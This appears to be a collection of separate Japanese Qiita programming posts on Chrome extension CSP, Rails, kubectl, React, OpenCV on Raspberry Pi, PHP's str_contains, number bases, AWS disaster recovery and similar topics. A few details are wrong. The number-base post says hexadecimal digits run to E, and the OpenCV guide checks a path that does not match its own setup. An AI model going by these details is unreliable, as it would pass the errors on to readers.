OmniAICreator/Qiita-1.07M huggingface dataset:
Chrome拡張でFirebaseを利用する際にSecurity Policyのエラーが発生した場合の対処

【目的】Chrome拡張でFirebase機能を利用する
【問題】下記のようにFirebaseを読み込むとエラー
　"Refused to load the script '<URL>' because it violates the following Content Security Policy directive: "script-src 'self' blob: filesystem:". Note that 'script-src-elem' was not explicitly set, so 'script-src' is used as a fallback. ﻿ ​"
　が発生する

```java:Firebase機能の読み込み
    <script src="https://www.gstatic.com/firebasejs/7.8.2/firebase-app.js"></script>
    <script src="https://www.gstatic.com/firebasejs/7.8.0/firebase-auth.js"></script>  
    <script src="https://www.gstatic.com/firebasejs/7.8.0/firebase-database.js"></script>
    <script src="https://www.gstatic.com/firebasejs/7.8.0/firebase-firestore.js"></script>
```
【対処】manifest.json に"content_security_policy"を設定する

```content_security_policyの設定
    "content_security_policy": "script-src 'self' https://www.gstatic.com/; object-src 'self'",
```
【参考にしたサイト】[Chrome機能拡張のコンテンツセキュリティポリシー（CSP）について](https://oxynotes.com/?p=8895)
ラーメン屋共有ウェブサイトを開発してみた。

ラーメン屋をレビューするウェブサイトを開発しました。
今回は、経緯と学んだことを書いていきます。

#言語とツール
・Java
・Spring
・HTML/CSS
・JavaScript
・Heroku
・MySQL
・Spring Tool Suite

#経緯
UdemyでSpringの学習をしていた際に、会社の同期に依頼された開発したウェブサイトです。同期から必要な要件を伺い、リリースしました。
初めてのSpringでの開発、初めて友人に頼まれての開発、、、と初めてづくしの開発で非常に良い経験になりました。
友人に喜んでもらえてよかったです。

#成果物
今回は行ったラーメン屋さんを投稿できます。醤油ラーメン、味噌ラーメン、、、などの分類ごとに表示される画像が異なります。
CRUD処理は全て網羅しました。

![スクリーンショット 2020-03-08 10.47.47.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/577071/893ded4b-2e21-66cf-821e-e151101bc984.png)

![スクリーンショット 2020-03-08 10.50.43.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/577071/f110dfa7-ab09-4843-8d57-e14fbcbbbf7e.png)


#学んだこと
Springめちゃくちゃ便利！！！
今回は、Udemyで勉強しながら、開発を進めていきました。
DIやアノテーションなど新たな知識が必要となりましたが、非常に興味深かったです。

###DIについて
Dependency Injection（依存性の注入）、もう名前がかっこ良すぎました。
素のJavaでコードを書いているときは、ひたすらnewしていたので、新鮮でした。

###アノテーションについて
Controllerにおいてアノテーションで遷移先を制御できるのが新鮮でした。
また、Formクラスで、@NotNullなどを記載することで、制約をかけられるのは非常に便利でした！
素のJavaではいちいち、変数がnullかどうかチェックしていたので、コード量が圧倒的に減りました。
シンプルで素敵です。

これから開発をするときは、Springを積極的に使っていこうと思いました。

#受講したUdemyのコース
[Spring 入門 ～ SpringBoot 2 を使ってお問い合わせアプリとToDoアプリを作る ～](https://www.udemy.com/course/java_spring_beginner/)
回し者ではございませんが、分かりやすかったです！

#GitHub
[GitHubをご覧ください！](https://github.com/kazuma007/RamenKingdom)
rails generateで自動生成されるファイルの設定

## この記事は
`rails generate ...`は必要な関連ファイルを自動生成してくれる便利なコマンドですが、「このファイルは不要だな」というものがあった場合、生成する度に削除していては手間がかかります。

そこで、自動生成するファイルを設定する（不要なファイルは生成しない）方法について書いています。

参考までに環境はこちら。

- Ruby 2.5.7
- Rails 5.2.3

## generateコマンドで自動生成されるファイル

まず、どのコマンドでどのファイルが自動生成されるかを次の一覧にまとめています。

| コマンド名 | コントローラ | ビュー | モデル | マイグレーション | アセット | ルート | テスト | ヘルパー |
|:--|:--|:--|:--|:--|:--|:--|:--|:--|
| scaffold | ○ | ○ | ○ | ○ | ○ | ○ | ○ | ○ |
| scaffold_controller | ○ | ○ | × | × | × | × | ○ | ○ |
| controller | ○ | ○ | × | × | ○ | ○ | ○ | ○ |
| model | × | × | ○ | ○ | × | × | ○ | × |
| migration | × | × | × | ○ | × | × | ○ | × |

## application.rbを編集する
設定方法は簡単で、`application.rb`に設定を書き込めばOKです。

例えば何も設定せず次のコマンドを打った場合、

```rb
rails g controller StaticPages home
```

次のファイルが生成されます。

```rb
      create  app/controllers/static_pages_controller.rb
       route  get 'static_pages/home'
      invoke  erb
      create    app/views/static_pages
      create    app/views/static_pages/home.html.erb
      invoke  test_unit
      create    test/controllers/static_pages_controller_test.rb
      invoke  helper
      create    app/helpers/static_pages_helper.rb
      invoke    test_unit
      invoke  assets
      invoke    coffee
      create      app/assets/javascripts/static_pages.coffee
      invoke    scss
      create      app/assets/stylesheets/static_pages.scss
```

ここで、以下のファイルが不要だと思ったとします。

- CSS, JavaScriptファイル
- testファイル

その場合、次のように設定します。

```rb
module XXX
  class Application < Rails::Application
    config.load_defaults 5.2

    config.generators do |g|  # ここから追記
      g.assets false          # CSS, JavaScriptファイル生成せず
      g.skip_routes false     # trueならroutes.rb変更せず、falseなら通常通り変更
      g.test_framework false  # testファイル生成せず
    end                       # ここまで
  end
end
```

ちなみに`g.assets`は、`g.javascripts`と`g.stylesheets`に分けて記述することもできます。

この状態で再度`rails generate ...`を行うと、次のように生成されるファイルが減っていることがわかります。

```rb
      create  app/controllers/static_pages_controller.rb
       route  get 'static_pages/home'
      invoke  erb
      create    app/views/static_pages
      create    app/views/static_pages/home.html.erb
      invoke  helper
      create    app/helpers/static_pages_helper.rb
```

だいぶスッキリしましたね。


またテストフレームワークにRSpecを使うという場合は、次のように設定できます。

```rb
module XXX
  class Application < Rails::Application
    config.load_defaults 5.2

    config.generators do |g|
      g.assets false
      g.skip_routes false
      g.test_framework :rspec,    # RSpecを使用
        controller_specs: false,  # controller specは作らない
        view_specs: false,        # view specは作らない
        helper_specs: false,      # helper specは作らない
        routing_specs: false      # routing specは作らない
    end
  end
end
```

これらの設定をうまく活用し、効率的にアプリ開発を進めてみてください。

以上です。
kubectlで no matches for kind "Deployment" in version "v1"

## 概要

Deploymentするときに以下のエラーが。

```
$ kubectl create -f deploytest.yaml --record
error: unable to recognize "deploytest.yaml": no matches for kind "Deployment" in version "v1"
```

ちなみにyamlファイルは以下。

```deploytest.yaml
apiVersion: v1
kind: Deployment
metadata:
  name: deploy-test
  namespace: test
spec:
  replicas: 2
  template:
    metadata:
      labels: 
        app: pod-example
    spec:
      containers:
      - name: nginx
        image: nginx:1.10
        ports:
        - containerPort: 80
```

## 調査

よく分からず記述していたが、エラーによるとどうやらapiVersionがよくなさそう。

[この記事](https://qiita.com/soymsk/items/69aeaa7945fe1f875822)によると、KubernetesのリソースAPIは、そのAPIがどのAPIGROUPに属しているかで apiVersion の書き方が異なる、とのこと。

早速DeploymentがどのAPI groupに対応しているか調査する。

```
$ kubectl api-resources 
NAME                              SHORTNAMES         APIGROUP                       NAMESPACED   KIND
・
・
deployments                       deploy             apps                           true         Deployment
・
・
deployments                       deploy             extensions                     true         Deployment
・
・
```

Deploymentリソースはappsとextensionsに対応していることが分かる。
つまり`apps/*` か `extensions/*` のapiVersionを指定してやればいい。

既存のapiVersionはコマンドで出力できる。

```
$ kubectl api-versions  | grep apps
apps/v1
apps/v1beta1
apps/v1beta2
```

```
$ kubectl api-versions  | grep extensions
apiextensions.k8s.io/v1beta1
extensions/v1beta1
```

いずれかのapiVersionをyamlに書いてやる。

```deploytest.yaml
apiVersion: apps/v1beta1
kind: Deployment
metadata:
  name: deploy-test
  namespace: test
spec:
  replicas: 2
  template:
    metadata:
      labels: 
        app: pod-example
    spec:
      containers:
      - name: nginx
        image: nginx:1.10
        ports:
        - containerPort: 80
```

その後、コマンドからDeploymentを作成。

```
$ kubectl create -f deploytest.yaml
deployment.apps/deploy-test created
```

よさげ。
[React]inputのonChangeを共通化する

Form を作るとき、input ごとに handleChangeXxx みたいなのを書いていて、共通化できないかなと思ってゴニョったので :pencil: 

## name 属性を使う
name 属性を state と揃えれて handleChange 内で key に指定すればいい。

```jsx
import React, { FC, useState, ChangeEvent } from 'react';

type InputStateType = {
  userName: string;
  note: string;
};

const SharedHandleChange: FC = () => {
  const initialInputState: InputStateType = { userName: '', note: '' };
  const [eachInput, setEachInput] = useState(initialInputState);
  const { userName, note } = eachInput;

  const handleInputChange = (e: ChangeEvent<HTMLInputElement>) => {
    if (e.target) {
      // e.target.name で key を指定すればいい
      setEachInput({ ...eachInput, [e.target.name]: e.target.value });
    }
  };

  return (
    <>
      <form className={classes.root} noValidate autoComplete="off">
        <input name="userName" type="text" onChange={handleInputChange} />
        <input name="note" type="text" onChange={handleInputChange} />
      </form>
      <div>userName: {userName}</div>
      <div>note: {note}</div>
    </>
  );
};

export default SharedHandleChange;
```

これで `onChange` を共通化できた。

今まで一つずる書いていたので楽になったし、こういう書き方ができるのかと勉強になった。
DUO3.0勉強用ウェブサイトを開発してみた。

今回は、DUO3.0をランダムに10問出題してくれるウェブサイトを開発しました。
経緯や学んだことを記事にしていきます。

#DUO3.0とは？
560の例文が載っている言わずと知れた超有名英単語帳です。
余談ですが、私はこれを全て暗記したおかげでTOEIC 915取れました。

興味がある方は是非！
[Amazonでチェックしてみてください！](https://www.amazon.co.jp/DUO-3-0-%E9%88%B4%E6%9C%A8-%E9%99%BD%E4%B8%80/dp/4900790052)

#経緯
寝る前にランダムで10問程度DUOの例文を出してくれるアプリないかな、、、と思い、
いろいろ探したのですが、結局良いものがなかったので、今回自分で作りました。

#成果物
流石に著作権が怖いため、ネットにはあげておりませんが、画像をお見せします！

![スクリーンショット 2020-03-08 10.23.37.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/577071/62e5dd58-07de-b6ba-16a9-bb3ebc317435.png)

「シャッフル」ボタンを押下すると、560の例文のうち10文がランダムで出てきます。
「English」ボタンを押下すると、日本語の英訳が出てきます。
「Speak」ボタンを押下すると、英語を話してくれます。

#学んだこと
Web Speech APIがすごい！
JavaScriptを数行書いただけで、英語を発音させることができました。
実際に書いたのは下のコードだけです。

```html
<script>
function Speech(id){
  var speech = new SpeechSynthesisUtterance();
  speech.text = document.getElementById('english' + id).value;
  speech.lang = "en-US";
  speech.rate = 1.0;
  speech.pitch = 1.0;
  speechSynthesis.speak(speech);
}
</script>
```
日本語にしたいなら、langをja-JPにするだけで簡単に変えられます。
下記サイトを参考にさせていただきました。ありがとうございます。
[Web Speech APIで実際にしゃべる環境を調べてみた](https://qiita.com/hachisukansw/items/c2b9bf2f0e137af39f38)

#まとめ
効果的にDUOの勉強ができるようになりました！
英語学習がさらに捗りそうです。
「自分の生活にあったら良いな」を作れるのはウェブ開発の一つの魅力だと改めて気づく良いきっかけになりました。

再度まで読んでくださり、ありがとうございました！
Raspberry PiへOpenCVをインストールする~2020年3月最新


RaspberryPiでOpenVをインストールするのに、いろいろな方法がありますが、内容を理解していないとうまくインストールすることが出来ないので、いろいろ試した結果、今回記載した内容でインストールすることが出来たので、忘備録を兼ねてまとめてみました。



<H1>環境</H1>
RaspberryPi4 4GB
Raspbian Ver　10.3
Python 3.7.3 32bit


<H1>1.パッケージ管理システムをアップデート</H1>

~~~python3
sudo apt-get update
sudo apt-get upgrade
~~~


<H1>2.各ライブラリをインストール</H1>

~~~python3
sudo apt-get install build-essential cmake unzip pkg-config
sudo apt-get install libjpeg-dev libpng-dev libtiff-dev
sudo apt-get install libavcodec-dev libavformat-dev libswscale-dev libv4l-dev
sudo apt-get install libxvidcore-dev libx264-dev
sudo apt-get install libgtk-3-dev
sudo apt-get install libatlas-base-dev gfortran
sudo apt-get install python3-dev
~~~

<H1>3.OpenCVのインストール</H1>
まず、OpenCVのzipファイルをダウンロードします。
今回はバージョン3.4.3をダウンロードしました。

~~~python3
wget -O opencv.zip https://github.com/opencv/opencv/archive/3.4.3.zip
~~~

併せてモジュールもダウンロードします。

~~~python3
wget -O opencv_contrib.zip https://github.com/opencv/opencv_contrib/archive/3.4.3.zip
~~~~

ダウンロードしたファイルを解凍します。

~~~python3
unzip opencv.zip
unzip opencv_contrib.zip
~~~

OpenCVをビルドする

~~~python3
cd ~/opencv-3.4.3/
mkdir build
cd build
cmake -D CMAKE_BUILD_TYPE=RELEASE \
    -D CMAKE_INSTALL_PREFIX=/usr/local \
    -D INSTALL_PYTHON_EXAMPLES=ON \
    -D INSTALL_C_EXAMPLES=OFF \
    -D OPENCV_EXTRA_MODULES_PATH=~/opencv_contrib-3.4.3/modules \
    -D PYTHON_EXECUTABLE=~/.virtualenvs/cv/bin/python \
    -D BUILD_EXAMPLES=ON ..
~~~

OpenCVをコンパイルする。コンパイルにはガチで１時間以上かかりますので、気長に待ちましょう。

~~~python3
make -j4
~~~

ここまでが前準備で、ここからようやくOpenCVをインストールします。

~~~python3
sudo make install
sudo ldconfig
~~~

以下のコマンドでOpenCVがインストールされたか確認します。
3.4.3と帰ってくれば成功です。

~~~python3
pkg-config --modversion opencv
3.4.3
~~~

pythonのパッケージとして、インストールされているか確認

~~~python3
 ls /usr/local/lib/python3.6/site-packages/
 cv2.cpython-36m-x86_64-linux-gnu.so
~~~

以上となります。
<H1>最後に</H1>
pipやcondaでインストールできれば楽なのですが、今はこの方法でインストールすれば使用することが出来るようになりましたので、皆さんの参考になればなと思っています。
PHP8にstr_contains関数が追加されることになったというお話

`strpos` や `strstr` を使わずに済むようになる・・・かもしれません（ **日本語対応にやや懸念あり** ）。

以下、 [RFC](https://wiki.php.net/rfc/str_contains) をもとに紹介します。

まだ投票中ですが、3月8日現在、賛成42／反対5という圧倒的多数の支持を得ているため、追加される公算が高いです。

# 既存関数の問題点
ある文字列が別の文字列に含まれているかをチェックする際、これまで [strpos](http://php.net/manual/ja/function.strpos.php) や [strstr](http://php.net/manual/ja/function.strstr.php) といった関数が使われてきました。

しかし、これらの関数は、以下の問題を抱えています。

- 読み手にとってあまり直感的でない
- 間違いやすい
- 新しく PHP に触れる開発者にとって覚えにくい

そのため、多くの PHP フレームワークが、同様の振る舞いをするヘルパー関数を提供しています。それだけ、この機能は、重要だし、必要とされているということです。

# 提案
## 概要
```
str_contains ( string $haystack , string $needle ) : bool
```

`$needle` が `$haystack` に含まれているかをチェックし、`$needle` が見つかったかを真偽値（ `true/false` ）で返します。

例えば、以下のようになります。

```php
str_contains("abc", "a"); // true
str_contains("abc", "d"); // false

// $needle が空文字だった場合
str_contains("abc", "");  // true
str_contains("", "");     // true
```

`$needle` が空文字だった場合については「空文字は文字列のどの位置にも出現する」と考えて `true` を返すことにします。

## マルチバイト版
内部メーリングリストでの議論を踏まえて、この関数にはマルチバイト版（例えば `mb_str_contains` ）を提供する必要はないとの結論に至りました。

というのも、マルチバイト版と非マルチバイト版の動作に差がないと考えられるからです。文字列が見つかったオフセットや位置が関係する場合、マルチバイト版は異なる振る舞いをします。

しかし、この関数には、その必要はありません。

## 大文字小文字を区別しない版
大文字小文字を区別しない版については、今回は実装しません。

提案者は、最初は小さくはじめて、徐々に大きくしていくほうが良いと考えているからです。[^1]

[^1]: 内部メーリングリストの議論を見ると、 `str_starts_with` や `str_ends_with` を追加する [RFC](https://wiki.php.net/rfc/add_str_begin_and_end_functions) が最初から大文字小文字の区別やマルチバイト版を用意した結果、否決されてしまったショックが大きいようです。 

## 後方非互換性
PHP 自体には後方非互換性はありません。
ただし、ユーザのコードで、この関数を実装している場合、後方非互換が発生するかもしれません。

# 感想
`strpos` は文字列の位置を返す変数ですが、1文字目に含まれている場合は `0` を返します。そして、どこにも含まれていない場合には `false` を返します。

PHP では `0 == false` です。そのため、以下のような書き方をすると、バグになってしまいます。

```php
// 1文字目に含まれている場合は 0 が返る
$pos = strpos("abc", "a");

// 間違った書き方
if (!$pos) {
  die("含まれていない");
}

// 正しい書き方
if ($pos === false) {
  die("含まれていない");
}
```

そもそも `strpos` は「文字列の位置を返すための関数」ですし、 `strstr` は「部分文字列を抽出するための関数」です。
**どちらも文字列が含まれているかをチェックするための関数ではない**

~~`strstr` ってなんだよ。str **s** ubs **tr** ing のつもりか？ 覚えられん！~~

この使いづらさから、例えば Laravel には `Str::contains` という [メソッド](https://readouble.com/laravel/6.x/ja/helpers.html#method-str-contains) が用意されていたりしますが、とうとう、PHP 本体にも入ることになったようです。万歳！

気になるのは、「日本語文字コードでも正しく動くか？」ということです。
`strpos` には `mb_strpos` があり、同様に `mb_str_contains` も必要なのではないでしょうか。

実際、内部メーリングリストの議論を見ると、「UTF-8 ではちゃんと動くが Shift_JIS では動かないのでは？」という [意見](https://externals.io/message/108562#108814) もあり、怪しい気がします。[^2]

> This is not true for all character encodings. For UTF-8 it is correct,
but consider for example the Japanese encoding Shift_JIS, where the
second byte of a multi-byte character can be a valid first byte of a
single-byte character. str_contains() would have incorrect behaviour for
this case.

[^2]: これに対して、 Nikita Popov が [返答](https://externals.io/message/108562#108815) していますが、 "That's of course true, but I consider it ultimately unimportant." と一蹴されちゃっています（苦笑） なんとなく「細かいことはあとでいいから、とりあえず導入したいんだよ！」という雰囲気を感じます。この辺の議論は内部実装の話になっていて、あまり理解できている自信がありませんが。

日本語対応にやや懸念は残るものの、他の言語には普通に備わっている関数が PHP にも追加されること自体は良いことなのではないか、と思います。
タグひとつで記事のサブタイトルを抽出して目次を自動生成する

雑ですけど覚え書きです。[yurubo.org](https://yurubo.org)で書きました。

##概要
任意のクラス要素(*entryClassName*)の中にあるh3要素の値を指定したクラス要素(*toClassNmae*)　に吐き出して目次を作る機能です。Wordpressのプラグインに頼らずJavaScriptのみの実装です。

```JS
/** 記事から目次を作成する。
 *  @tocClassName 目次生成先のclass名
 *  @entryClassName 目次追加元のクラス名
 *  @addClass 見出しに追加したいclass名
 */
function makeTableOfContents(tocClassName, entryClassName, addClass='') {
  /** 対象classを全て格納 */
  let contentsList = document.getElementsByClassName(tocClassName);
  //配列に変換
  contentsList = Array.from(contentsList);
  /** 記事内のh3要素を全て格納 */
  const sectionList = document.querySelectorAll('.' + entryClassName + ' h3');

  //ulを生成
  let ol = document.createElement('ol');

  //取得した見出しタグ要素の数だけ繰り返す
  sectionList.forEach(function (value, i) {
    //idが空の場合はsection番号を追加
    if (value.id == '') {
      value.id = i+1;
    }
    //要素を生成
    let li = document.createElement('li');
    let a = document.createElement('a');

    //<a>見出し</a>
    a.innerHTML = value.textContent;
    //a要素にid追加
    a.href = '#' + value.id;
    //a要素にclass追加
    if (addClass != '') {
      a.classList.add(addClass);
    }
    //li要素にa要素を追加
    li.appendChild(a);
    //ol要素にli要素を追加
    ol.appendChild(li);
  });

  //tocClassNameのclassをもつ要素にすべて適用する
  contentsList.forEach(function (index){
    index.appendChild(ol.cloneNode(true));
  }); 
}
```

##少しつまづいたところ

### DOMの生成(ol要素)
上記のコードでは目次の要素となる*ol*を生成し、最後の

```
contentsList.forEach()
```
で全部反映だ！って考えで書いたんですけども、ひとつの要素にしか反映されませんでした。

####生成したDOMは複製してやらないといけない
はじめは

```JS:間違い
  contentsList.forEach(function (index){
    index.appendChild(ol);
  }); 
```
だったんですけど

```js:正しい
  contentsList.forEach(function (index){
    //cloneNodeでクローン生成
    index.appendChild(ol.cloneNode(true));
  }); 
```

ってな感じでDOMを複製（クローン生成）してやらないといけないみたいです。参照の考えがへっぽこだったのでやられました。
Django　PosgresSQLインストール、データベース構築

#■環境

　Windows10home
　Python3.7
　PostgresSQL10.12


#■インストール・設定手順

##　①PostgresSQLダウンロード、インストール（省略）

##　②環境変数の変更
　　「コントロールパネル」-「システム」-「システムの詳細設定」＋「環境変数」

##　③Path編集　PostgresSQL追加

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/547159/808327e7-1777-27be-5e50-15d5682cd545.png)



##　④PSQLのバージョン確認

```
　C:\python_project\venv_python_dev\Private_Diary_project>psql --version
psql (PostgreSQL) 10.12
```

#■データベース作成

##　①psqlログイン
　　psql -U postgres

```
C:\python_project\venv_python_dev\Private_Diary_project>psql -U postgres
```

##　②データベース作成
　　create database　XXXXXXXXX;

```
postgres=# create database XXXXXXXXXXXXX_db;
```

CREATE DATABASEが出る。

##　③データベース一覧で確認。。したいが、
　　psql=# \|　
　　縦棒がきかない！

##　④psqlから出る
　　psql=# \q

#■python接続のためのドライバ（psycopg2）インストール

##　①pipインストール
　　pip install psycopg2-binary

```
C:\python_project\venv_python_dev\Private_Diary_project>pip install psycopg2-binary
```

以上
n進数

現在勉強している基本情報技術者試験についてまとめたものです。
自分のアウトプット用なので見やすさなどは期待しないでください。

# n進数とは
**10進数**
普段私たちが使っているおなじみの表現方法。
使えるのは0~9。

**2進数**
コンピューターが使っている表現方法でONを1、OFFを0で表す。
使えるのは0と1のみ。

**8進数**
昔のコンピューターは3の倍数ビットで処理しているものが多かった。
8進数は一つの桁で0~7を表現でき、この数字を2進数で表すと丁度000~111と3桁（ビット）になり、昔のコンピューターで処理するのに都合がよかった。
使えるのは0~7。

**16進数**
最近のコンピューターは4の倍数ビットで処理するのが一般的。
16進数は一つの桁で0~15を表現でき、この数字を2進数で表すと丁度0000~1111と4桁（ビット）になり、最近のコンピューターで処理するのに都合がいい。
使えるのは0~9とA~E。

**基数**
n進数のnの部分。

**桁の重み**
整数部は基数を桁数-1乗したときの値。
小数部は1/基数を桁数乗したときの値。

　　　　*2進数の場合*

||整数部|小数部|
|:-:|:-:|:-:|
|1桁目|$2^0 = 1$|$1/2 = 0.5$|
|2桁目|$2^1 = 2$|$1/4 = 0.25$|
|3桁目|$2^2 = 4$|$1/8 = 0.125$|
　　　　　　　　・
　　　　　　　　・
　　　　　　　　・

# 基数変換
**n進数を10進数に変換**
各桁の数字にその桁の重みをかけ、できた数字を全て足すことでn進数を10進数に変換することができる。

*2進数の[1101.011]を10進数に変換する場合*

||||||||||
|:-:|:-:|:-:|:-:|:-:|:-:|:-:|:-:|:-:|
|2進数|1|1|0|1|.|0|1|1|
|各桁の重み|8|4|2|1||0.5|0.25|0.125|
|積|8|4|0|1||0|0.25|0.125|

$8 + 4 + 0 + 1 + 0 + 0.25 + 0.125 = 13.375$　となる。

**10進数をn進数に変換**
上記の重みを使う方法と、基数を割り算と掛け算を使って求める方法の二種類がある。

重みを使う場合は、10進数をn進数の各桁の重みで割っていき商をその桁に入れていく。
割ることができる一番大きな重みの桁からスタートし、10進数が1以下になると小数部になる。

*10進数の[13.375]を2進数に変換する場合*

||||||||||
|:-:|:-:|:-:|:-:|:-:|:-:|:-:|:-:|:-:|
|10進数|13.375|5.375|1.375|1.375||0.375|0.375|0.125|
|各桁の重み|8|4|2|1||0.5|0.25|0.125|
|2進数|1|1|0|1|.|0|1|1|

基数を割り算と掛け算を使って求める場合は、10進数の整数部を基数nで0になるまで割り、小数部の小数点以下を基数nで0になるまでかける。

|n|整数部|余り|小数部|積|
|:-:|:-:|:-:|:-:|:-:|
|2|13|
|2|6|1 ↑|0.375|l 0.75|
|2|3|0 l|0.75|l 1.5|
|2|1|1 l|0.5|↓ 1.0|
|2|0|1 l|

最後に余りの部分を下から順に、積の整数部を上から順に並べると、[1101.011]となる。

**2進数を8進数、16進数に変換**
2進数の小数点を基準に8進数は3桁ごと、16進数は4桁ごとに区切り、区切り単位でそれぞれ10進数に変換した値を合わせる（無い部分は0を補う）。

*2進数の[1101.01]を8進数に変換する場合*

||||||
|:-:|:-:|:-:|:-:|:-:|
|2進数|001|101|.|010|
|10進数|$4 * 0 = 0$<br>$2 * 0 = 0$<br>$1 * 1 = 1$|$4 * 1 = 4$<br>$2 * 0 = 0$<br>$1 * 1 = 1$|.|$4 * 0 = 0$<br>$2 * 1 = 2$<br>$1 * 0 = 0$|
|8進数|1|5|.|2|

*2進数の[1101.01]を16進数に変換する場合*

|||||
|:-:|:-:|:-:|:-:|
|2進数|1101|.|0100|
|10進数|$8 * 1 = 8$<br>$4 * 1 = 4$<br>$2 * 0 = 0$<br>$1 * 1 = 1$|.|$8 * 0 = 0$<br>$4 * 1 = 4$<br>$2 * 0 = 0$<br>$1 * 0 = 0$|
|16進数|D(13)|.|4|
AWS 認定ソリューションアーキテクト – プロフェッショナル資格試験に向けた知識の整理 DR対策

# 概要
AWS 認定ソリューションアーキテクト – プロフェッショナル資格試験に向けた小ネタ集。
リージョン障害時のDR（ディザスタリカバリ）についてです。
代表的なサービスがどのようにリージョン障害に備えるかのまとめです。

[2020年10月追記]
2回目の受験でついにプロフェッショナル試験に合格しました！
合格体験記／勉強法を以下で投稿しているので良かったら読んでください。
試験受ける予定がある方の少しでも役に立てればと思います(^^)

[AWS初心者がAWS 認定ソリューションアーキテクト – プロフェッショナル資格試験に合格した時の勉強法](https://qiita.com/fkooo/items/17fa401f4e46ecd00675 "AWS初心者がAWS 認定ソリューションアーキテクト – プロフェッショナル資格試験に合格した時の勉強法")

## はじめに

AWSでのDR対策は求められるRPO/RTO、可用性、コストの兼ね合いで様々な対策が取れますが、よく以下の４つに分類されます。

* バックアップ＆リストア
* パイロットライト
* ウォームスタンバイ
* マルチサイト

その中でプロフェッショナル資格で頻出のパイロットライトに関する整理です。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/188544/0f0027bf-afd0-7799-49eb-d967ade0f3f8.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/188544/7161a58c-701d-7bd6-55dd-0a34c6d2e934.png)

BlackBeltとしては、以下等を参考にしています。（上記図も以下から抜粋して載せています）

https://www.slideshare.net/AmazonWebServicesJapan/aws-black-belt-online-seminar-awsdisaster-recovery



## Route53

* セカンダリレコードセットを追加しフェイルオーバールーティングポリシー設定
    * ヘルスチェックを追加し、ヘルスチェックに失敗したらフェイルオーバーという基本構成ですね。

## S3

* クロスリージョンレプリカで対策
    * S3->S3、Glacier->Glacierが基本と思っていましたが、S3->Glacierもできるようになっていました。
        * https://dev.classmethod.jp/etc/s3-glacier-reinvent2018/

## AWS Systems Manager パラメータストア

* リージョン依存する情報（S3やRDS接続情報など）を保持していたらリージョンごとに準備
    * AWS Systems Manager リージョンごとにパラメータストアを持つ仕様
        * https://www.georgeorge.com/blog/article/tech/aws-systems-manager.html

## CloudFormation

* AMIのマッピングセクションでリージョンごとの考慮を入れる（AMIがリージョンごとのため）
* AutoScaling設定で最小、最大、希望量を少なめに準備しておく。（例えばすべて「1」とか）
    * フェイルオーバー時にLambdaで変更する（例えば最大、希望量を「4」にする）


## EC2

* 起動用のAMIを準備する
* リージョンごとコピーしておく

## EBS

* スナップショットをS3に作成しておく
* S3のクロスリージョンレプリカで別リージョンにもコピーしておく（今のところリージョンをまたいだスナップショットはできないはず）

## RDS

* 別のリージョンにリードレプリカを準備しておく
    * フェイルオーバー時にLambdaでスタンドアローンインスタンスに昇格させる

## その他参考

アソシエイト資格の勉強法は以下を参照

[AWS初心者がAWS 認定ソリューションアーキテクト – アソシエイト資格試験に合格した時の勉強法](https://qiita.com/fkooo/items/e5284a4ed3c3466ffd41 "AWS初心者がAWS 認定ソリューションアーキテクト – アソシエイト資格試験に合格した時の勉強法")

プロフェッショナル資格の勉強法は以下を参照

[AWS初心者がAWS 認定ソリューションアーキテクト – プロフェッショナル資格試験に合格した時の勉強法](https://qiita.com/fkooo/items/17fa401f4e46ecd00675 "AWS初心者がAWS 認定ソリューションアーキテクト – プロフェッショナル資格試験に合格した時の勉強法")

その他の小ネタは以下を参照

[プロレベルのTips](https://qiita.com/fkooo/items/e3c0c9a11d078619cbe0 "プロレベルのTips")
[フェデレーションとDDoS対策](https://qiita.com/fkooo/items/a6d71407b2bed42332cc "フェデレーションとDDoS対策")
[IAMポリシー](https://qiita.com/fkooo/items/45cd86fa6e71d51f12e2 "IAMポリシー")
[DR対策](https://qiita.com/fkooo/items/cbeb13fea8b99e4b7964 "DR対策")（本記事）
[IAMポリシーサンプル](https://qiita.com/fkooo/items/ae934fe9b1eb2a77f65d "IAMポリシーサンプル")
Webビューアで写真の一覧性を高めてみる

社内の案件管理の為のAppを作っているのですが、その中で各案件毎に関連する写真を管理したいとの要望がありました。
そこで写真の表示に特化したレイアウトをWebビューアを使って実装してみたのでご紹介します。


##Befor
<img width="1136" alt="スクリーンショット 2020-03-08 午前0.30.02.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/91731/96f66b00-3107-d695-f539-c5c845f28819.png">
まずは最初に検討したポータルのパターン。
実際のAppでは左側に案件の詳細があり右側はスライドパネルで各セクションの内容を切り替えるようなレイアウトで作成しています。
スタッフが使用しているのは13インチのノートPCがメインのため表示領域に限りがあります。（1280x680〜）
今回のは幅640x高さ510くらいのスペースを想定して作ってみました。
その範囲にポータルで表示させようとするとこんな感じです。スクロールなしで見られるのは5枚くらいですかね。
最初はこれでも仕方ないと思っていましたが流石に余白が目立ちすぎますし、だからと言って写真の幅を広げると表示できるのは2〜3枚程度とより少なくなってしまいます。
これでは使いやすいとは言えないです。


##After
<img width="1136" alt="スクリーンショット 2020-03-08 午前0.17.42.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/91731/cbe3e1e3-56ce-456a-4f73-f9f28261a67e.png">
次に今回作成したWebビューアのパターン。
スペースを犠牲にすることなく16枚は完全に表示出来ています。ポータルと比較すると約3倍ですね。
<img width="1651" alt="スクリーンショット 2020-03-08 午前0.18.00.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/91731/010e9a56-3323-2feb-cdf7-54fd757e8242.png">
レスポンシブにも対応したのでウインドウの幅を広げればさらに表示できる枚数は増やせます。

<img width="1092" alt="スクリーンショット 2020-03-08 午前0.18.35.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/91731/6aac799c-6450-d4c6-fc02-fc23ee42e579.png">
ちなみに表示されている画像をクリックするとカードウインドウで拡大表示することが出来ます。



##中身の紹介

###テーブル構成
<img width="981" alt="スクリーンショット 2020-03-08 午前0.19.30.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/91731/f45552fa-9c03-cbce-706d-936e4aa05d54.png">
